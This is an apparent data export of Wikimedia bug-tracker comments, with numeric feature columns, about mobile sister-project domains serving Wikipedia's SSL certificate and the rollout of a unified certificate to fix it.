Neither of you pointed to the applicable guidelines.",,,1331553011,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-pxyl4x4gm47myo5embc7,task_subcomment,,True,c2,1,False,,,-77,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,29.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.875,0.7083333333333334,"Bug 17316 says

QUOTE
QUOTE

You say

QUOTE
QUOTE

Neither of you pointed to the applicable guidelines."
36788,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"Try visiting https://en.m.wiktionary.org/wiki/Wiktionary:Main_Page - you'll get warning that host does not match certificate. The cert is issued to Wikipedia.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1330507020,1363804433.0,PHID-USER-aasrweh54ew7py3agvg2,False,,False,PHID-TASK-pumiywpy6qmi7nito5hn,task_description,resolved,True,c2,1,False,False,True,-78,True,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.05,0.75,"Try visiting URL - you'll get warning that host does not match certificate. The cert is issued to Wikipedia.

--------------------------
**Version**: unspecified
**Severity**: normal"
164631,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"According to RobH ""This was done and pushed out awhile ago, all done!""

Closing as FIXED.",,,1363804433,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,True,,,-23,True,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,23.0,0.0,5.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.409090909090909,0.9090909090909091,"According to RobH ""This was done and pushed out awhile ago, all done!""

Closing as FIXED."
164624,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"Note that m.wikipedia.org was also accidentally left off, so the unified cert is being rolled back.",,,1363133763,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,True,,,-24,True,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,"Note that m.wikipedia.org was also accidentally left off, so the unified cert is being rolled back."
164620,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,mediawiki.org was accidentally left out of the unified certificate. We'll be ordering a new one soon.,,,1363127826,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,False,,,-25,True,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,4.526315789473684,0.9473684210526315,mediawiki.org was accidentally left out of the unified certificate. We'll be ordering a new one soon.
164616,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,Done for all except for mediawiki.org,,,1363127766,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,False,,,-25,True,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,5.333333333333333,0.8333333333333334,Done for all except for mediawiki.org
164610,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"Created attachment 11918
Windows Phone 7.5 error screen on wikivoyage

**Attached**: {F8836}",,,1363115566,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,True,,,-25,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9523809523809526,0.8571428571428571,"Created attachment 11918
Windows Phone 7.5 error screen on wikivoyage

**Attached**: {F8836}"
164605,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"Created attachment 11917
Errors on m.wikivoyage in Firefox

**Attached**: {F8835}",,,1363115509,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,True,,,-25,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8947368421052633,0.8421052631578947,"Created attachment 11917
Errors on m.wikivoyage in Firefox

**Attached**: {F8835}"
164598,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,*** Bug 46037 has been marked as a duplicate of this bug. ***,,,1363115475,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,True,,,-25,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 46037 has been marked as a duplicate of this bug. ***
164592,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,Just in case it's related: I just logged in to English Wikipedia from my mobile device and a dialog showed up saying that wikivoyage.org certificate is untrusted.,,,1361921653,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,False,,,-27,True,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,13.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,7.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,4.533333333333333,0.9666666666666667,Just in case it's related: I just logged in to English Wikipedia from my mobile device and a dialog showed up saying that wikivoyage.org certificate is untrusted.
164588,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"**inbox** wrote:

%%%*** Bug 38412 has been marked as a duplicate of this bug. ***%%%",,,1361358978,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,False,,,-27,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.25,0.5625,"**inbox** wrote:

%%%*** Bug 38412 has been marked as a duplicate of this bug. ***%%%"
164583,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"**inbox** wrote:

%%%*** Bug 37650 has been marked as a duplicate of this bug. ***%%%",,,1361358864,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,False,,,-27,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.25,0.5625,"**inbox** wrote:

%%%*** Bug 37650 has been marked as a duplicate of this bug. ***%%%"
164578,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"(In reply to comment #15)
> This was posted over a month ago. Any updates?

The RT ticket's had very recent progress. I wouldn't expect any further news at least until after the weekend.",,,1361038878,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,False,,,-28,True,3.0,0.0,3.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,15.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,15.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,3.0,15.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.5588235294117645,0.9705882352941176,"(In reply to comment #15)
QUOTE

The RT ticket's had very recent progress. I wouldn't expect any further news at least until after the weekend."
164569,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"(In reply to comment #13)
> > The problem is that mobile is served by Varnish, whereas the main projects
> > are still on Squid, and NGINX (HTTPS) will need to distinguish between the
> > two in this new setup.
> 
> As for the current status, RobHa ""emailed digicert to attempt to get ALL our
> domains as SANS on a single root level wikimedia.org certificate.""

This was posted over a month ago. Any updates? Just had a user in #wikimedia-tech asking about https://uk.m.wikinews.org using a wikipedia cert.",,,1361038211,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,True,,,-28,True,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,10.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,22.0,0.0,0.0,10.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,10.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,3.2653061224489797,0.7142857142857143,"(In reply to comment #13)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This was posted over a month ago. Any updates? Just had a user in #wikimedia-tech asking about URL using a wikipedia cert."
164562,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"Created attachment 11757
ugly error message in Firefox android

**Attached**: {F8834}",,,1360344072,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,True,,,-29,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.85,0.85,"Created attachment 11757
ugly error message in Firefox android

**Attached**: {F8834}"
164553,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"DavidL: ""Critical"" means ""Crashes, loss of data"" as per http://www.mediawiki.org/wiki/Bugzilla/Fields#Severity . That's not the case here.

With regard to the problems and the current status of this:

> The problem is that mobile is served by Varnish, whereas the main projects
> are still on Squid, and NGINX (HTTPS) will need to distinguish between the
> two in this new setup.

As for the current status, RobHa ""emailed digicert to attempt to get ALL our domains as SANS on a single root level wikimedia.org certificate.""",,,1358158691,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,True,,,-33,True,1.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,18.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,18.0,0.0,1.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,18.0,4.0,0.0,8.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,3.6666666666666665,0.6805555555555556,"DavidL: ""Critical"" means ""Crashes, loss of data"" as per URL . That's not the case here.

With regard to the problems and the current status of this:

QUOTE
QUOTE
QUOTE

As for the current status, RobHa ""emailed digicert to attempt to get ALL our domains as SANS on a single root level wikimedia.org certificate."""
164547,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"**lambdav** wrote:

Critical problems do not seems to be high priority for wikimedia...",,,1357951678,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,False,,,-33,True,0.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,0.85,"**lambdav** wrote:

Critical problems do not seems to be high priority for wikimedia..."
164543,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"...or remove the ""Mobile view"" link altogether when in https. Seriously - this really should be dealt with, even if we don't get good certificates.",,,1352636537,,PHID-USER-pwsgofaoir7tnszvfzqi,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,True,,,-42,True,0.0,0.0,3.0,3.0,3.0,6.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,19.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,6.0,3.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.84375,0.9375,"...or remove the ""Mobile view"" link altogether when in https. Seriously - this really should be dealt with, even if we don't get good certificates."
164539,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"If the good certificates won't be added, is there a way to redirect users, that used ""normal"" website in https and click on ""Mobile view"" link, to mobile website using http ?",,,1350160634,,PHID-USER-5paybpgtxjrhikdos3p5,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,False,,,-46,True,0.0,0.0,0.0,2.0,2.0,10.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,12.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,10.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.575,0.825,"If the good certificates won't be added, is there a way to redirect users, that used ""normal"" website in https and click on ""Mobile view"" link, to mobile website using http ?"
164535,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"(In reply to comment #6)
> (In reply to comment #1)
>> RT #2541
> 
> This site has private access only.
> 
> How many years to solve a Critical problem with High priority ? No one is
> assigned to this bug, and no solution is proposed.

Well, it's obviously not a critical problem with high priority, then. If it were, it would have been fixed already, right? :-)

I'm gonna bump the priority down a bit, as the mobile sites not properly handling SSL isn't that critical, as I read it. It used to be that the mobile site was completely read-only, but maybe that's changed? I'm not sure what the critical or high priority parts would be here.

I think you're really asking for a status update from RT #2541. I'll CC a few a people on this bug who may be able to help with that.

(In reply to comment #8)
> On a related note, if you go to .com addresses (like https://en.wikipedia.com/)
> using HTTPS protocol, before you get forwarded to the .org address, you will
> get an error message regarding the SSL key. That is because the .com addresses
> use the SSL key that is for *.wikipedia.org

I split this out to bug 40998.",,,1350101462,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,True,,,-46,True,0.5,0.0,0.5,1.0,2.0,5.5,1.0,0.0,0.0,0.5,2.0,2.5,0.0,0.5,0.0,3.5,0.0,7.5,9.5,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,1.5,0.0,4.5,0.5,2.5,2.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,8.0,1.0,2.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.5,0.0,5.0,3.5,13.5,1.0,1.0,7.0,0.0,0.5,0.0,1.5,5.5,0.5,2.0,0.0,6.5,9.5,5.5,1.0,0.0,0.0,6.5,0.0,1.0,2.5,0.0,1.5,0.0,0.0,0.0,3.2540858018386105,0.6839249233912155,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Well, it's obviously not a critical problem with high priority, then. If it were, it would have been fixed already, right? :-)

I'm gonna bump the priority down a bit, as the mobile sites not properly handling SSL isn't that critical, as I read it. It used to be that the mobile site was completely read-only, but maybe that's changed? I'm not sure what the critical or high priority parts would be here.

I think you're really asking for a status update from RT #2541. I'll CC a few a people on this bug who may be able to help with that.

(In reply to comment #8)
QUOTE
QUOTE
QUOTE
QUOTE

I split this out to bug 40998."
164532,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"On a related note, if you go to .com addresses (like https://en.wikipedia.com/) using HTTPS protocol, before you get forwarded to the .org address, you will get an error message regarding the SSL key. That is because the .com addresses use the SSL key that is for *.wikipedia.org",,,1350098036,,PHID-USER-p2ebbrj45wupyi25othr,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,False,,,-46,True,0.0,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,9.0,2.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,19.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,4.0,11.0,4.0,0.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,15.0,13.0,0.0,0.0,0.0,6.0,0.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,3.9622641509433962,0.7358490566037735,"On a related note, if you go to .com addresses (like URL using HTTPS protocol, before you get forwarded to the .org address, you will get an error message regarding the SSL key. That is because the .com addresses use the SSL key that is for *.wikipedia.org"
164529,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"**headerfuturetree** wrote:

//**content hidden as private in Bugzilla**//",,,1348146930,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,False,,,-49,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.857142857142857,0.7857142857142857,"**headerfuturetree** wrote:

//**content hidden as private in Bugzilla**//"
164525,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"**lambdav** wrote:

(In reply to comment #1)
> RT #2541

This site has private access only.

How many years to solve a Critical problem with High priority ? No one is assigned to this bug, and no solution is proposed.",,,1342358249,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,False,,,-59,True,2.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,13.0,2.0,2.0,9.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.3773584905660377,0.8301886792452831,"**lambdav** wrote:

(In reply to comment #1)
QUOTE

This site has private access only.

How many years to solve a Critical problem with High priority ? No one is assigned to this bug, and no solution is proposed."
